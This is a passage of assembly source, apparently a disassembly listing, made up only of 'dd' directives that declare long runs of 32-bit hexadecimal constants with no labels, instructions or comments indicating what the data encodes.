		dd 0F4A28252h, 0EF492EC6h, 3FA2699Dh, 5B260B3Ah, 0BEB38F96h
		dd 52032124h, 5F1FC5E9h, 0D21E0466h, 8943911Bh,	5D802BDDh
		dd 0B74C315Bh, 0E895F671h, 9ABF00CBh, 2928D908h, 0FD4CC9EFh
		dd 0CF1DAC7Ah, 0B1680E4Eh, 2EF10C3h, 4ABEC96h, 0BF20DD12h
		dd 0E6BBCE74h, 0C5F0425Ch, 30BB5659h, 0C78957C0h, 29DFEE4h
		dd 7DD7686Ch, 173F1DE7h, 39AB1292h, 2063F850h, 488F016Bh
		dd 2968594Fh, 89FE2978h, 9A095D51h, 0EB0714D2h,	4D9B10C1h
		dd 0DCC2C4B2h, 0AADB67C2h, 44C941F8h, 0F3017A30h, 62392A5Ah
		dd 57B57Eh, 1B3D6808h, 0A86ABDB4h, 4047C407h, 162F6F9h
		dd 0ACBE2D02h, 35A56A6Dh, 4A12ED40h, 0F45C4B25h, 0D9EB45Fh
		dd 9DCFEC2Fh, 0FACBDB59h, 87F65F98h, 8E081E9h, 15442755h
		dd 48BFC9E4h, 6417004Eh, 602D278Bh, 4AA10541h, 1005E801h
		dd 507D9207h, 5221A826h, 813F44F1h, 77C58F02h, 0EEA051B0h
		dd 46BC261Fh, 4E5B4FFAh, 20C212CDh, 1A88C201h, 7865CA9Fh
		dd 91691EEh, 3AF5EA6Dh,	589C7679h, 972F3619h, 0C06BCB7Bh
		dd 12F4D4E5h, 206FCAE9h, 0D00BCF46h, 7B2508B8h,	0A693F3ADh
		dd 0BBB83B86h, 2A2CEF4Ah, 4B4BA15Ah, 0A151EA72h, 0A2BAC12Bh
		dd 926847FFh, 5A915B52h, 0EDF23A5Dh, 0DB7A0D3h,	0BB1EE716h
		dd 279D5D04h, 340E3E80h, 124076B6h, 463818F3h, 3AFA994Fh
		dd 0E95253B7h, 0AF0C18D0h, 974D51E9h, 92D7CD8h,	5B2E577Fh
		dd 0D77A32FCh, 0EB88DCE8h, 16BAC788h, 0FE1A6B37h, 2781F150h
		dd 4132C992h, 5012B840h
		dd 8928257Ah, 599A277h,	0FAA7AC4h, 6D4B6196h, 0FCCC9F64h
		dd 0AE6ACF6Bh, 108BCD45h, 0E5107422h, 2A880F34h, 71290459h
		dd 63A928AAh, 2389C14Ah, 6817DA22h, 5F37BF64h, 464FDA82h
		dd 0E6B6273Eh, 9BC6A089h, 0D3DD552Fh, 94A5BD41h, 0BC777162h
		dd 46E917C1h, 1477A9ECh, 3D8E27EAh, 13073FC0h, 0E344B7F5h
		dd 0E28287B0h, 68530063h, 0D326271Bh, 0F30DE82Ah, 76200F1Fh
		dd 0DB4EBD97h, 1FC98F6h, 84C552A3h, 5CC4D02Ah, 34FAB53h
		dd 0E74B6DA2h, 0E90E61E2h, 0A892EA9Ch, 96621ACh, 0A0AE042Ch
		dd 23DA8B0Ah, 0C6468175h, 0CA8BBD5Dh, 0D5B4ED59h, 934F6998h
		dd 646C3941h, 0E42E2F54h, 0AD0ECDB7h, 523F4579h, 46FF7B01h
		dd 1E200C4Ch, 4BD6129Ch, 2EDDB086h, 13EAC053h, 0D60EC830h
		dd 27A6D39Eh, 523BE916h, 0EE8BBAC4h, 210ED412h,	6AD5EBh
		dd 0B5F08850h, 0CD80B4C1h, 0E9CEE001h, 5195745Dh, 10CE6E42h
		dd 2E43EE27h, 58D9104Eh, 0BF9E72F8h, 42B9C36Bh,	5D2A930Dh
		dd 3BA749FAh, 46F513E8h, 751B4F17h, 8C0EA01h, 272832CFh
		dd 0DB2E1261h, 0E84A8957h, 8414DD5Dh, 41C991B7h, 0BA85123Ah
		dd 5B685268h, 5B4A388h,	2834E953h, 0AFC28590h, 6662133Bh
		dd 0FE10AE29h, 0D65F2F08h, 1CFC274Eh, 2BFE5744h, 6CE90B42h
		dd 8AABA79Ah, 6039A802h, 0C01D658Ch, 3784EB35h,	0BB9812C9h
		dd 5531A909h, 0BD9E0549h, 3675097h, 2A0820EFh, 5B31D6B0h
		dd 914308CAh, 2FA75625h, 0C05AB976h, 0BBBC626Fh, 0C5700787h
		dd 0FA3112CDh, 0ACA865DDh, 0EED617E0h, 96D1D5Ch, 0F1155E98h
		dd 2FDF3838h, 0AF718BDh, 0BD3D7E03h, 6507A3F2h,	0C10D3027h
		dd 0B7010765h, 716D7BA8h, 55391E80h, 0BB5303DBh, 0B972C909h
		dd 0EE53020Dh, 9194FFA1h, 135EDB97h, 0F18609D5h, 0F07EB855h
		dd 54F9BF37h, 31C02D65h, 27E93FC7h, 2AA0FDADh, 1CDB67EEh
		dd 7931DC2Dh, 0BA02EBBDh, 8027955h, 0EDB185FAh,	82A999FBh
		dd 585BFB4Ah, 6ED07505h, 5E4C0882h, 0A7CB69BFh,	0AC4E8A6Ch
		dd 4C4DE212h, 16525A6Ah, 9E4C1C44h, 102D21Dh, 0E311F693h
		dd 3E0B2A4Fh, 3095851h,	857543BAh, 0AC92D7Ah, 0D0D92063h
		dd 5A070550h, 405A9B94h, 0E2E0747h, 68524B0Bh, 76E370C0h
		dd 0D94EFEE9h, 9A79148Ch, 7836A102h, 0AD66132Eh, 3DBAF4B9h
		dd 22273F9Dh, 91C0E756h, 3C592CD9h, 4BCFF6CFh, 0C6866B81h
		dd 50BC68A4h, 66804415h, 69162668h, 535242F7h, 0C9E87961h
		dd 0AE741C7h, 0C7590273h, 5A680513h, 0BD30EF6Ch, 98841BCh
		dd 38D2E92Dh, 9BA8145Bh, 5C9ECF27h, 56E56398h, 7CC64325h
		dd 431D0547h, 0E5A81D03h, 9945DE89h, 57084Ch, 984283BFh
		dd 0E3CDE90Bh, 0CE59CBh, 1A0FF67Bh, 0FC205AADh,	6CF84E52h
		dd 51DDE4B4h, 0C035064Fh, 8D9206A9h, 4B13DA51h,	0D43BE8E3h
		dd 5519205Eh, 12A5FBAh,	55369606h, 2F54FD16h, 0C40FAF3h
		dd 8BF1BC5Ah, 3B5FEDC2h, 13EA7347h, 0B76AE51h, 709A01ADh
		dd 6E61258h, 44323A12h,	0ECD2F1F2h, 1ABC96DFh, 0BAF2E716h
		dd 10B11F77h, 5B6D0130h, 5287824Fh, 0B6EA1556h,	0C46DC105h
		dd 78C5B301h, 56F27962h, 93F75107h, 0A18208D3h,	4B97E657h
		dd 0F508C009h, 7B13E536h, 0EFAC0177h, 5B204A31h, 7485DD55h
		dd 0DBA88167h, 7F7C7779h, 1500E44Bh, 977349BAh,	1460B56Ah
		dd 0C90CF281h, 3E01AA5Dh, 67A4B7CAh, 0CE3DC087h, 5073112Fh
		dd 1680464Ah, 91123868h, 4801AD69h, 6B9EE1E9h, 0B97C4345h
		dd 76FF0FC4h, 0BC2ED053h, 7AC931F6h, 4C842EE3h,	658052CFh
		dd 70864442h, 893D4597h, 35E65609h, 0B484FE20h,	7C0F3B07h
		dd 69842B4Bh, 513BCC17h, 9698E5B7h, 0B9E3C05Dh,	13D03BFh
		dd 0B5F81640h, 8CBB0134h, 2C55C98Eh, 800B4729h,	684D5407h
		dd 4B3DB62Ah, 0ED0BD03h, 82E931AFh, 0E392A0FFh,	7B5525C5h
		dd 9235A20h, 935ABE09h,	6D478EB7h, 4D3598EFh, 0EB49B46Bh
		dd 62FC1E5Bh, 0DE7BBA4h, 3A55578Bh, 513DC38h, 74627C68h
		dd 7D99BE72h, 3F048F3Bh, 53B1ADE9h, 9BB2624h, 795EAFC9h
		dd 0BA8C005Bh, 7EAA40FAh, 309E2C1h, 0FAF305E9h,	0CE4720C7h
		dd 4AA15D4Bh, 700BD9ADh, 98F55829h, 98F9F7FFh, 444E2FD1h
		dd 88A1B53h, 6861D1E3h,	16265469h, 8D406727h, 0C3789D61h
		dd 10E4B930h, 0C98F6658h, 2CF0B7DCh, 42A0BB01h,	0DA293EB3h
		dd 0FD2E3B31h, 62AFF4E4h, 24D35703h, 0BD1BECA5h, 0C44430FAh
		dd 2CF23168h, 7E78FB0Bh, 0D2B25F77h, 205F4C41h,	0B8004A52h
		dd 719A6FF6h, 2FEC7D05h, 0C95C94B4h, 4DEF8101h,	4C81B66Eh
		dd 537F1ACFh, 33F7F028h, 4ED02C18h, 2BD3090Ch, 0A654630Bh
		dd 644A4269h, 2E49E901h, 66E7722Ah, 0AE4E865Ch,	0DDFE13D1h
		dd 3B22F549h, 74AFEA16h, 0B9E3BB11h, 40EADD10h,	0AF935F2h
		dd 0EEE3DF13h, 0FEA88031h, 9502372Bh, 0F0CAE199h, 511352CCh
		dd 9A0C84B5h, 91C375C7h, 0D0044B6Fh, 9601165Fh,	0A77BA6B8h
		dd 443DDF20h, 0FE05C62Ah, 29653C09h, 1241C4ABh,	0EF23D108h
		dd 0F5639632h, 0DFFB7724h, 0A81F1082h, 0BBDA8913h, 5AD71560h
		dd 0E74535E9h, 173CF820h, 0BFAC97h, 100DC20Dh, 0E92F3A40h
		dd 56230BA0h, 677F70FAh, 0FCBADBC0h, 34DCE39h, 243E281h
		dd 0EAB00C66h, 0A32E13E1h, 1F1EE24Bh, 806492CFh, 0B171CFC9h
		dd 0C5E9100Fh, 0EDBB0394h, 0D13F524Dh, 286A6909h, 5C419E06h
		dd 301A8040h, 29450F67h, 0C0C55FF8h, 0C1DCA81Fh, 0F02862B6h
		dd 0DC8C123Bh, 0A2F293Dh, 193CFB01h, 7EDC67D3h,	300D1980h
		dd 1299036Dh, 540D0F7h,	9F4CA6B8h, 573A4297h, 0FA5DDF05h
		dd 517B098Eh, 6C203EC3h, 8055966Ah, 1ADF3764h, 0F990F929h
		dd 765F0881h, 7A464EDDh, 43BCA25h, 5F5783C2h, 275C168h
		dd 1CE07A53h, 0FF17007Dh, 6164BA28h, 294167D5h,	3505B900h
		dd 450CD6E9h, 1495906h,	107C65BFh, 2DEFF856h, 96C35F82h
		dd 259C5000h, 0ED813B88h, 0B81F0CF9h, 9A1A562Eh, 7A8D6800h
		dd 0DE115CBEh, 71F09F39h, 800EEC98h, 0DE75822Fh, 2C650D7Bh
		dd 0DFC10C20h, 5D2122F9h, 6094D160h, 0E5C1D19Ch, 0E44D3DB1h
		dd 7DEF4BCBh, 0CD0A34FEh, 0E34072B0h, 53C5A101h, 9F076FE4h
		dd 7F2DBB46h, 0EB0D4841h, 0DC0802DEh, 3D6D6879h, 0E880A051h
		dd 2110CF7Bh, 56A0CBF3h, 65A008F0h, 5A134BC5h, 44AE410Ah
		dd 4EF94CAFh, 0EF4242F2h, 508E11Ch, 0D0015B00h,	0EDA05164h
		dd 4D8C031Fh, 0F089294Ah, 0E907412Dh, 58DF801Eh, 0FD4F0735h
		dd 68561605h, 88F77065h, 794CC423h, 0AEEB3DFDh,	71168EDEh
		dd 0BB164DF3h, 0ED1A2956h, 3E386502h, 0C23F227Dh, 0DED367ECh
		dd 63626885h, 0BC5089E3h, 50C2EB7h, 2EF09DFh, 53806771h
		dd 3C19E2BBh, 8CE1BD61h, 9FC47FEh, 8B35A000h, 3D7EAC3Fh
		dd 0E0B59F92h, 9A0C0E43h, 0B248B743h, 0FA2E8BDCh, 0AC292C2Dh
		dd 13A5E961h, 773B0332h, 2D7B9E3Fh, 3B7CEFE0h, 84B6840h
		dd 853D001h, 0EB938349h, 1C7E39C9h, 0A2CC52C0h,	0FD4A26ECh
		dd 0EB85A6E2h, 0F3F55A25h, 5BBB9F23h, 54E6BFF8h, 0B342AE4Fh
		dd 5D37272Eh, 0AD51CE61h, 0AD0F61BEh, 92AF11D9h, 74ED395Eh
		dd 243588F9h, 90D88420h, 0F4C82DE0h, 0E9D86EF4h, 0F7CB6BDh
		dd 80EEE3C0h, 0F361466Eh, 59D82897h, 859FFD8Ah,	0E1D2E914h
		dd 0AD96D2A9h, 3E1504FCh, 6006EA0h, 1E26572Dh, 0F4E9DB9Ch
		dd 392825Ah, 0B9628CD8h, 0A85D9DA5h, 27FD9EB7h,	0ECE6681Fh
		dd 0DA1D958Ah, 8053DBA5h
		dd 51354368h, 2CF9E963h, 69E14EE2h, 0B572B0F4h,	2827B1E6h
		dd 5182CB88h, 312B47FAh, 24A6A07Fh, 1635382h, 1B4D9ADh
		dd 70F0CA8Fh, 71836A7Dh, 0F698E729h, 0FB2F7F7Ch, 0AF386501h
		dd 83E1AAA9h, 0E8FAE28Dh, 1A5D5E2Eh, 29A1F012h,	627C4220h
		dd 57F47FCBh, 4FEA46D7h, 0E9A0C1D8h, 0B9192414h, 0B20C5C04h
		dd 85AB211Ah, 5780BB89h, 0CB1658E9h, 0F1EB68BCh, 8730C5FDh
		dd 0EE579C63h, 1B2FDEEh, 0ABB15105h, 2AFC2304h,	5388BE74h
		dd 61EBBFDBh, 41D7F883h, 6A10A3E9h, 0C860769Dh,	82B89EF1h
		dd 35207440h, 4F027C40h, 0F416572Fh, 8E894932h,	4CFF0975h
		dd 0EA07D816h, 0C8C90749h, 69B2795Fh, 0BFB6BC57h, 0E9853379h
		dd 0E6F82AC1h, 0A7B142D3h, 2DF20106h, 6AA8525Fh, 0C23182B5h
		dd 2582217Eh, 7705DD1Bh, 0EA4FFCCCh, 0EBD1C000h, 1842E381h
		dd 0C7AB317h, 6D041D5Dh, 0DC3E92Dh, 4A78F2E2h, 0F2D5843Bh
		dd 30A097EEh, 5F0C2068h, 9DBE927h, 4EC155BBh, 2847EB1h
		dd 0FAFB2CFBh, 6F28CCA9h, 151312A3h, 0D657A39Dh, 0EED023BDh
		dd 585C5320h, 65180026h, 0F181088Bh, 10DCB1Ch, 68589BFEh
		dd 5C094870h, 3A1854C9h, 7A9730B6h, 80E2FA37h, 513BDBBh
		dd 74B14F92h, 0B7EE1B41h, 0BD01FEDCh, 0E3751432h, 25D184E5h
		dd 302A62EEh, 0A3696355h, 198F2F50h, 0B46A9441h, 220584C0h
		dd 0F301C937h, 0EBB03FB8h, 0C1240851h, 6A196072h, 306901FBh
		dd 5D9B2A7Bh, 34A1B8C0h, 0E7F06F9h, 0BB9E51D5h,	9716CE25h
		dd 1191AEC5h, 800134EFh, 86018F0Ah, 5584314h, 435E2406h
		dd 0BC5C70AFh, 0BDDE2D7Ch, 96CFE0CCh, 17591767h, 65CAC3Bh
		dd 6F4927F0h, 3E1C3EF0h, 0DFFE24AFh, 44EB8320h,	76AD80BCh
		dd 3116373Fh, 8356ABE9h, 0AB4BBB8Ah, 0BA600A6Dh, 0CA264DAEh
		dd 0C45528Fh, 7E6DA4FFh, 13183600h, 5ED4BD55h, 215A2E48h
		dd 267F93A5h, 5B953CD1h, 0FED3C99Eh, 1121EB09h,	0CB3F87E3h
		dd 85521219h, 0F7583F62h, 0EA56BF05h, 0DEF5E337h, 0E9F3D9C0h
		dd 20605B78h, 0F0215D5Eh, 85D73B5h, 800731EDh, 0C304C8EBh
		dd 0F69A98C0h, 4F70FED1h, 23F74216h, 0BBE019AEh, 0C62D840Fh
		dd 55496285h, 35623C0h,	7B5E222Dh, 21EA0560h, 1F6AD0EDh
		dd 0F5A414Ah, 0E9097CFCh, 5C5ADDF6h, 68331530h,	14996855h
		dd 0A73CB87Ah, 191DC91Bh, 9B5ED1B1h, 0CA32420Ch, 295B03D7h
		dd 5A5BD5AEh, 449946E7h, 0A7BC0476h, 0F6596A13h, 684FD86Eh
		dd 0EC224BE2h, 7337E105h, 1EBDB22Fh, 7E04E5C1h,	57A45A4Bh
		dd 89C360CCh, 0CD233AF7h, 12D757Bh, 0A097EC45h,	4A5C1C26h
		dd 51C887EEh, 2A13AF7Ah, 97D14DE0h, 75B10B40h, 0E9FD8306h
		dd 0EC59E016h, 315F18A9h, 60A30C39h, 219B6912h,	0E9A72CEFh
		dd 6418B02Fh, 0CB76C0B2h, 455A176Dh, 68535212h,	20516F05h
		dd 0C0EB1FEFh, 0E9099FF3h, 8B939DD4h, 32720501h, 102E49CCh
		dd 0A65E07F1h, 0D75728E9h, 9D957F20h, 39137B54h, 0FECB80A4h
		dd 0BCF94E96h, 8B82C61Fh, 53F2C3DDh, 0F5B0137Eh, 4827DA66h
		dd 2042B60h, 0C40B3669h, 0C9959973h, 0ADC96F0Ah, 6ED499A0h
		dd 0E3FA7E34h, 8F1BA295h, 6695D40Dh, 912B156h, 3FA5EF3h
		dd 74B761F2h, 705FEE5h,	63BF5C30h, 4FA6AA70h, 7B0C8C25h
		dd 0B8500E83h, 0C2F81025h, 0A576D2Eh, 0E7AF3345h, 0AE1534FAh
		dd 4E9DC298h, 0F90631E7h, 6FF7D98h, 747923D3h, 7F3209AAh
		dd 0F2217D1Fh, 88590368h, 1462B43h, 0E26064BFh,	0CB5B287Eh
		dd 0B797D05Bh, 2305C500h, 0B3B671D4h, 41DF2639h, 0F6A6543Bh
		dd 0ED5BD00Fh, 5DBA416Fh, 83416B78h, 44A4F2B8h,	350BEE6Eh
		dd 53025E68h, 388DBBCh,	0F8792556h, 0F4A8CB97h,	0AFD1F712h
		dd 62E9AC41h, 0C87EE7B2h, 0F64066FEh, 0EFB14E68h, 31267530h
		dd 0FC4F4EF0h, 5E90A48h, 0DA1870A6h, 39CF8034h,	0FF5FE04h
		dd 0FA20CDF7h, 0E609AFD7h, 0C13FD274h, 5E3795BAh, 0F241CB61h
		dd 0DC462A07h, 0EDED7E3Ch, 0C9CD5E2Eh, 4874E2C8h, 3A0898C2h
		dd 0E80EC32h, 34165E59h, 8541D998h, 48CB86Ah, 5F168A2h
		dd 3F2ABF57h, 829DFC4Bh, 5D7A23E9h, 475127CEh, 92BC2EB6h
		dd 0D9CAE1h, 2CF4632Dh,	3D11EC0Dh, 731E3141h, 87B45F0Dh
		dd 29EE5592h, 31A6D97Bh, 76D3EDA7h, 6CA10366h, 0B05B76EAh
		dd 72584EBBh, 0FCF39F1Fh, 80DCD0A5h, 304FD194h,	5E8074BAh
		dd 24021825h, 43E96E0Dh, 70B5B8D0h, 167BB760h, 7F078D26h
		dd 439F450h, 0F6EAF8D2h, 0C5E982B7h, 0E8B24955h, 0E6485EDDh
		dd 0CF7FA601h, 588BC512h, 0A513D359h, 3E42AE8Dh, 480550F6h
		dd 0E43F6158h, 0C2ED0041h, 0DA255C9Eh, 0A61B771Ah, 0A0688C09h
		dd 8A14770Fh, 2DABDB97h, 7B12230h, 0E3660158h, 0A7314C5Ch
		dd 0E583904Ah, 0DD26222Dh, 9201AC0Ch, 0E93D1636h, 0C324A0C5h
		dd 431B9DC2h, 0A0D1B05Eh, 0D47FB7E9h, 2FC7AB36h, 23A26841h
		dd 0E91AB529h, 0E90923A6h, 4D73E371h, 0B092D7C9h, 0A42C72BEh
		dd 618AD50h, 2C33E1B8h,	922DBAh, 2918113Eh, 7A4BD6E9h
		dd 1880E4D4h, 3B3F44C9h, 97F73AEh, 460FAA77h, 1D5C1EABh
		dd 5302A228h, 0E9269717h, 9825814h, 672C685Fh, 586B6879h
		dd 265D8791h, 44131834h, 250ECE81h, 0C045CB4Bh,	0FFFB7BEEh
		dd 0B0F1FCFDh, 0AC6AD21Ch, 0D1BEB498h, 3EC5A95Bh, 4659B52Bh
		dd 28538D05h, 0E4968064h, 0D7E6117h, 63E9EF12h,	0F066C9C3h
		dd 0EBCEBBF2h, 128F182Bh, 19612CF5h, 4DFAEB0Ah,	3EA3C303h
		dd 1BD629FBh, 242CE2F9h, 0C9C44AE9h, 3258C0F0h,	0D0BF5097h
		dd 0DA50082Ch, 0B4280B75h, 0A009296Ch, 96FE955Dh, 0EA60EE5Ch
		dd 304653C3h, 895C3B2Ch, 445BCB21h, 4C1756B0h, 64837EC6h
		dd 89FA2D6Bh, 0C8D30009h, 9667232Eh, 0DE863D90h, 107F2557h
		dd 40F8E927h, 5FDD3057h, 1986815Bh, 7512DE08h, 72EDE923h
		dd 0D864F599h, 5001C7CDh, 0C0FEE1B0h, 0A16B420Ch, 505E792Fh
		dd 48120747h, 0AD9714F9h, 500461C4h, 0F1A6995Bh, 0E96B84DFh
		dd 2DEA305Dh, 29F83AFBh, 0FC120DCBh, 0A27E7CC2h, 6FD0C3C5h
		dd 3D6E63BEh, 0B271E53h, 3345250Bh, 1384508Eh, 0D44D98BBh
		dd 3341E55Bh, 0C0A68736h, 0EE1F907Ah, 28F0158Ah, 0F972319Ch
		dd 9C5CAF7Bh, 4FD6A70Ch, 1A7D13EAh, 6DD4AADEh, 390C0818h
		dd 6E5B1606h, 5E788C5Dh, 3196749Bh, 0D185EBBCh,	0CD2D00F4h
		dd 5071AAF6h, 1D75259h,	45D33B1Dh, 6453558h, 925AEBF0h
		dd 41E97EDFh, 0A0D4E779h, 0F28A678h, 5D7F9C81h,	5F834396h
		dd 0D4292C4Ah, 80023EC2h, 0A14F60CFh, 0B9F9025h, 0DF945C8h
		dd 2D01D1F8h, 0CD31806Fh, 163B90E9h, 57DD6126h,	408C2E87h
		dd 8DF417ECh, 0A285E4C9h, 3F2E1E16h, 0AC810665h, 62CC1711h
		dd 5EA09C1h, 0E8F860E9h, 0AF176D97h, 8692A9F3h,	0BD2C6E85h
		dd 0DFE98033h, 408AF855h, 7863A6DEh, 9A61648h, 8FE92AFDh
		dd 75D1B291h, 0AB605EF1h, 0D31B2646h, 622C8289h, 4DF02A6Ah
		dd 7D08EF51h, 82CF8BD0h, 55C7008h, 0FBD1C458h, 0FE563B8Ch
		dd 0E51C4DD7h, 54C0E227h, 0E83F1D0Ch, 9EC72679h, 3F0209A4h
		dd 600E7017h, 3054FB15h, 430C7D28h, 6C4CEE55h, 0E9576715h
		dd 55734289h, 6859CC71h, 0F0590C42h, 0E271B5E7h, 76B4863h
		dd 6186C249h, 9F0C8CC7h, 0B191AE13h, 0E90AC9BBh, 0EFB05535h
		dd 0DA1DDC81h, 1175D97Bh, 821329C4h, 2A03ED55h,	5FFB70FFh
		dd 0B7C5ECA7h, 79D813D2h, 0F79307A2h, 870530DBh, 53506902h
		dd 4116069Fh, 0AE811FFBh
		dd 8842C201h, 0BDB0D3F4h, 17BC409Ah, 0D952EB7Ch, 17069AD6h
		dd 0E11DD702h, 0C01092FFh, 953B2673h, 0FA9404EEh, 31AEB008h
		dd 480CD026h, 7B27579Fh, 8054742Ch, 0DCEE11F2h,	0D15B898Eh
		dd 798538F9h, 0D04FD0E5h, 7B137305h, 88722E25h,	95B65055h
		dd 5309D7FCh, 25ED6673h, 173E370h, 680D21ADh, 56284CE5h
		dd 0ED6D4DC5h, 0B40C1249h, 4E104FA3h, 12573FF5h, 19ED45A5h
		dd 0B453FC7Bh, 148A0BD2h, 0F7C22918h, 1C6B3056h, 4A3836BAh
		dd 0AEF4E1E8h, 5D13C2F6h, 1AB2A351h, 571CB028h,	7E96C0F3h
		dd 0D9F696C1h, 8193E120h, 20F2B58h, 0C3B68599h,	0E392D0EAh
		dd 600B9E72h, 0D5D931E9h, 0E216669Bh, 0A289F414h, 0C49FA37Eh
		dd 500EDA4Dh, 0AFCD1BC5h, 595AC549h, 0F158E4Eh,	9074402Bh
		dd 0E9F82902h, 62BD9202h, 0C4627772h, 203FE6D6h, 0D5F71F81h
		dd 252E687h, 1C0D19B9h,	0E13A5570h, 70E0A507h, 0C89FA010h
		dd 7D020D39h, 2ECD501h,	6E7D5A08h, 67E927C9h, 617FAEE2h
		dd 0C56E82A2h, 7BCBBB59h, 5BEBA093h, 0C9CDE92Dh, 9C02D309h
		dd 235436C1h, 25D05C95h, 201B1959h, 4302463Ah, 0D84CE7C4h
		dd 4FF604FDh, 63E02B21h, 0CBC24E89h, 77C116EDh,	2F2A25F3h
		dd 80295AB5h, 0A2724688h, 0B18C0F64h, 12A185ACh, 41E90008h
		dd 0EA21C71Ch, 7909C0C9h, 60443A68h, 5B9840BFh,	0DF8AE09Fh
		dd 0C41AE413h, 8C8BE4DCh, 68125E8Dh, 17354C0Bh,	60AD9F10h
		dd 0B1C8EF61h, 207F7B47h, 3506A72Bh, 2C700ED6h,	419C41AAh
		dd 0C253FF6Eh, 0E5645955h, 73E2AF66h, 89F6E90Bh, 9DC1531Bh
		dd 0E7276423h, 3CB6044Fh, 260262Ch, 8D8E949h, 0F138CE89h
		dd 39F71546h, 0CB2988B1h, 0EAC24671h, 675F098Bh, 3BE90939h
		dd 7B701DABh, 83D21020h, 0ECFF1FDh, 0F6F37FC2h,	4A865518h
		dd 759C2D4Dh, 0DB8BA8D4h, 41F49A7Dh, 0E23FD390h, 8055DF88h
		dd 0E1D11D84h, 655516CDh, 0C8208A61h, 210E95C8h, 4999AED6h
		dd 5A21D32Eh, 6869E8EEh, 69C77E40h, 0E8A63876h,	590D725h
		dd 0D94F4BE9h, 3067A620h, 40545F5h, 43B4EA07h, 3987645Fh
		dd 5D55D2CBh, 80D5C5F7h, 66736852h, 5A0769F3h, 1055E281h
		dd 93C36B45h, 6062604h,	2610513h, 82C1EBE3h, 3714257h
		dd 0FD79246Eh, 44A85E76h, 0EE32C073h, 461A605Fh, 6023E92Fh
		dd 1EF580D4h, 97A12C7Ch, 5CBFB030h, 2DF0213Ch, 480A5283h
		dd 0E33DF6C4h, 5C114419h, 0A75AD8BEh, 749A31F0h, 6AF6F97Fh
		dd 30D8D982h, 0C90DC08Ch, 0DD011414h, 0E90840DDh, 6BB1364Bh
		dd 0DF0FB23Ah, 1279D5CEh, 0FCD8CFAh, 1766B758h,	1DF34034h
		dd 11DD4518h, 50CF53CBh, 3895A4FCh, 0E95D5820h,	0ADAC694Eh
		dd 3CB9BF81h, 0C154218Eh, 4BB2DC2h, 76116E90h, 419117EBh
		dd 0B252A363h, 4BC92E7Bh, 68C49B39h, 0E934D15Bh, 723CA1h
		dd 8B0574BFh, 39C78367h, 0C3858101h, 91FFC054h,	1E8BC0Eh
		dd 0A270D531h, 5F6BF4EAh, 0D2DCB9E0h, 7E45CAAAh, 0E922C2E1h
		dd 574948AEh, 4D011268h, 6F0DEF92h, 0DFC2AC6Eh,	47523D11h
		dd 91FCDB99h, 42FFFC69h, 7CE6D036h, 27DF6817h, 3247D260h
		dd 2AE09541h, 4D317107h, 5882CD6Fh, 87E0746Ah, 74F4A2h
		dd 0F92015B7h, 0D05B0B66h, 0F10E80E1h, 4159CB27h, 0E2EF68C3h
		dd 18E7A1A2h, 5D3F703h,	394CA5ECh, 2F5BE11Bh, 971CFFCCh
		dd 520D56h, 99346FE5h, 0E240BF3Ah, 285CC118h, 0DA052593h
		dd 0C602635h, 6DB18084h, 6689F180h, 0FFA61AC4h,	0BECD2CFCh
		dd 0D6D0939Bh, 855C6B49h, 32A8A371h, 5317B1C4h,	551ACCAEh
		dd 1F332CC8h, 0BA301768h, 16DDED38h, 285947E9h,	0CA598968h
		dd 5A95F08h, 17D46CF2h,	0BB36FF25h, 5CEB4754h, 33B75302h
		dd 5793E780h, 0AEF741C0h, 94D06CEh, 0CB8ADDFCh,	7DF440D4h
		dd 0A6B03C3Ah, 9F09A103h, 40C2012Ch, 95580884h,	0B803527Bh
		dd 0FC3BF42Bh, 4A2DCBB8h, 0EFC06902h, 0F1339360h, 0D92E5B81h
		dd 86FC0089h, 750C8F47h, 264B06E9h, 97409BAh, 488B0701h
		dd 905D798Bh, 9FFE94DCh, 0C324EDDBh, 0E150B310h, 0F2800BBAh
		dd 0A1C02891h, 1812054h, 0C8571741h, 0E14213AFh, 0F4ADAD7Ch
		dd 690C07F4h, 1B909CABh, 97EF0481h, 0BB604ABh, 52CCC713h
		dd 9F541165h, 56FA08A0h, 255E8097h, 4C847921h, 0A51CFB61h
		dd 5A304239h, 0A353D009h, 33D7E08h, 642886B4h, 5C0CA910h
		dd 9EF78100h, 57778B1Ch, 595F511Eh, 0CF87D140h,	0B9070868h
		dd 0AAEAAC57h, 283E95D0h, 98D8842Fh, 5856C83Eh,	0D316920Bh
		dd 0ED1F4586h, 7A1D824Dh, 0EF46C371h, 0AB6975A6h, 0A720C140h
		dd 0F70BFD29h, 5201F13Ah, 2CA068D5h, 0C5E9C250h, 4E145578h
		dd 4682CB2Fh, 88EA9512h, 3EB5DA5Dh, 29A2420Ah, 890C28D0h
		dd 2FDDDE51h, 47990500h, 17983D35h, 16A73Ch, 55BA5211h
		dd 0B72D8D62h, 0ACC19EF8h, 2BA22C38h, 0F307302Ch, 6052E30Ah
		dd 65373F5h, 611C205Ah,	58CFFCE7h, 4BF40B05h, 0FB8365Bh
		dd 2FE90740h, 0A47EC46Ah, 32E08464h, 53723868h,	7261AF4Ah
		dd 757EE752h, 0F42CABA0h, 295861A7h, 0D379DBE7h, 31EF9200h
		dd 50FA5717h, 0C2F84E89h, 4F605FB6h, 44BFF628h,	53085AFAh
		dd 5C80A055h, 0F58F2095h, 9A53572h, 5DEF316Ch, 54C0B8Ah
		dd 0C5486AEBh, 4DF791F5h, 555A020Dh, 4FF5E722h,	1DFCDA6Ah
		dd 3EA3CA01h, 0F52062D9h, 48BD98B2h, 5204BA6Ch,	0EF71AF5Bh
		dd 817F194h, 8A662CBEh,	0BE5ED74Eh, 0AAF0E7h, 3028C780h
		dd 64685BF9h, 0D3616558h, 0D5CEC1BAh, 0D3B17C63h, 3F7FC3B8h
		dd 0FBA55055h, 4CFD2762h, 0D2973650h, 68132A16h, 0C08C1FFDh
		dd 20AB9403h, 26D909BAh, 2FF5BADh, 0FDF9EFCBh, 5B51961Ch
		dd 77D3CBDh, 0FE59EC08h, 0A7CC80F3h, 1DFB3ED3h,	0CBC18838h
		dd 6E1073C3h, 0EA0F6D7Dh, 0A9CA310Fh, 80C57EDCh, 61DF22C6h
		dd 69B689A0h, 48F9E98Bh, 1EC3BB83h, 0C97FB07Eh,	995DF0A3h
		dd 0C23E9DAEh, 79573369h, 0CC2A4320h, 0CE872C4Bh, 0D7907682h
		dd 59697AFh, 1F282D23h,	8D5A8BB9h, 1698B579h, 1D535781h
		dd 5F5523BBh, 85DFDF2Fh, 0A501121Dh, 59F7008Bh,	6F765853h
		dd 13C8F23Ah, 0D8A01E28h, 5ED2DE9h, 0DA4C71F2h,	5BD42013h
